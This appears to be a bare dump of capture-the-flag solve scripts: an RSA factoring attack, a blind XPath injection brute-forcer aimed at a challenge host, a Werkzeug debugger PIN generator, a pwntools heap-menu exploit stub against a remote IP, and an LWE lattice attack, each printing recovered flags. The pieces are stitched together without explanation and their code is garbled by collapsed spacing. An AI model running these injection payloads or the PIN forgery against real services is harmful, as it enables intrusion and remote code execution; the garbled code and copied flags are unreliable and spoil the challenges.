e = 0x10001 n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413 c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924 gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938
def my_poly(coe,x): res=0 for i in range(1,513): res+=coe[i-1]*(x^i) return res
e = 0x10001 flag1 = b'flag{a5537b232c1ab750e0db61ec352504a301b7b212}' k = bytes_to_long(flag1) exec(open('output.txt','r').read()) R.<a,t>=PolynomialRing(Zmod(n)) s1=gift[0][0] coe1=gift[0][1:] s2=gift[1][0] coe2=gift[1][1:] f1=my_poly(coe1,a)+s1 f2=my_poly(coe2,t)+s2
res=Ideal([f1,f2,t-k*a]).groebner_basis() print(res) res=[ x.constant_coefficient() for x in res] a,t,p=list(map(int,res)) print(a,t,p) q=n//p d=inverse(e,(p-1)*(q-1)) m=pow(c,d,n) print(long_to_bytes(int(m))) #b'flag{e6d7511d75bd537e1bd0cd08abea415f5f27d6cf}'
import requests url="http://eci-2ze39yqy7j0c006fv94i.cloudeci1.ichunqiu.com:8888/hello" strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}-@!' flag='' payload1="'or substring(name(/*[1]), {}, 1)='{}' or ''=' " payload2="'or substring(name(/root/*[1]), {}, 1)='{}' or ''=' " payload3="'or substring(name(/root/user/*[2]), {}, 1)='{}' or ''=' "#username username #'or string-length(name(/root/user/username[2]))='{}' or ''=' payload4="'or substring(/root/user/username[2]/text(), {}, 1)='{}' or ''=' " for i inrange(1,100): for j in strs: data={"xpath":payload4.format(i,j)} print(data) r=requests.post(url,data=data) # print(r.text) if"This information is not available"notin r.text: flag+=j print(flag) break if j=="!": print(flag) exit() # if "This information is not available" in r.text: # print(flag) # break
h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x inrange(0, len(num), group_size)) break else: rv = num
local = 2 if local == 0: r=process(argv=['qemu-aarch64','-g','1234','-L','/home/ubuntu/pwn/arm_pwn/pwn','./pwn']) if local == 1: r=process(argv=['qemu-aarch64','-L','/home/ubuntu/pwn/arm_pwn/pwn','./pwn']) else: r=remote("39.106.78.22",16078)
def dbg(): src=''' b *$rebase(0x127C) ''' gdb.attach(r,src) pause()
def meau(index): r.sendlineafter(">",str(index))
def add(size): meau(1) r.sendlineafter("What size of paper do you want to add?",str(size))
def delete(index): meau(2) r.sendlineafter("Which page do you want torn up?",str(index))
def edit(index,content): meau(3) r.sendlineafter("Which page do you want to write?",str(index)) r.sendlineafter("How many words do you need to write?",str(len(content))) r.sendafter("Content:",content)
def show(index): meau(4) r.sendlineafter("Which page do you want to review?",str(index))
from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler from sage.modules.free_module_integer import IntegerLattice import numpy as np from Crypto.Util.number import * from hashlib import sha1
# Babai's Nearest Plane algorithm defBabai_closest_vector(M, G, target): small = target for _ inrange(5): for i inreversed(range(M.nrows())): c = ((small * G[i]) / (G[i] * G[i])).round() small -= M[i] * c return target - small q = 401 m = 64 n = 16 a = 0.025 num = 48 data=open('data.txt','r').readlines() A=Matrix(ZZ,eval(data[0].strip())) cipher=eval(data[1].strip()) print(len(cipher))
#t=DiscreteGaussianDistributionIntegerSampler(a*q) #print([ t() for _ in range(1000)]) ''' res='' for k in range(num): rt=cipher[k][0] Lattice = matrix(ZZ, m + n, m) for i in range(m): for j in range(n): Lattice[m + j, i] = A[i][j] Lattice[i, i] = q lattice = IntegerLattice(Lattice, lll_reduce=True) print("LLL done") gram = lattice.reduced_basis.gram_schmidt()[0] target = vector(ZZ,rt) cv = Babai_closest_vector(lattice.reduced_basis, gram, target) #print("Closest Vector: {}".format(cv)) error=cv-target print("Error: {}".format(error)) if any([abs(e)>40 for e in error]): res+='0' else: res+='1' print(res) A = matrix(Zmod(q), A) try: s = A.solve_right(cv) print('s: {}'.format(s)) except: print("no solution") continue print(res) ''' s=(195, 202, 322, 287, 230, 311, 396, 58, 242, 191, 117, 41, 248, 264, 139, 291) s=vector(GF(q),s) A=Matrix(GF(q),A) print(A*s) res='' for k inrange(num): tmp=[] for l inrange(num*8): c=vector(ZZ,cipher[k][l]) As=vector(GF(q),A*s) t=c-As t=[tt if tt<(q//2) else q-tt for tt in t] tmp.extend(t) ifall([ tt<40for tt in t]): res+='1' else: res+='0' print(res) #res='000000110110001010100111101100001101011110011110' my_secret_bits=list(map(int,res)) flag = 'flag{' + sha1(str(my_secret_bits).encode()).hexdigest() + '}' print(flag) #flag{7e0fefd15c630d4b41db2ac9e18d48d691b3d419}